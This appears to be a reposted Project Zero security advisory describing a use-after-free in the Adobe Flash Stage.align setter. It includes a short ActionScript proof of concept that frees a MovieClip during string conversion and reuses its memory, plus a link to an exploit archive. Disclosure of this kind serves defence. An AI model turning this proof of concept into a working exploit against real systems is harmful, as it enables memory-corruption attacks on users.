Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=838 There is a use-after-free in the Stage.align property setter. When the setter is called, the parameter is converted to a string early, as a part of the new use-after-free prevention changes. This conversion can invoke script, which if the this object is a MovieClip, can delete the object, deleting the thread the call is made from, which can lead to a use-after-free. A proof-of-concept is as follows: this.createEmptyMovieClip("mc", 2); var o = { toString : f }; mc.func = ASnative(666, 4); //Stage.align setter mc.func(o); function f(){ trace("here"); mc.removeMovieClip(); for(var i = 0; i < 100; i++){ var t = new TextFormat(); // fill up the slots } } A fla and swf are attached. The swf crashes in Chrome for Windows. Proof of Concept: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40308.zip # 0day.today [2024-07-02] #
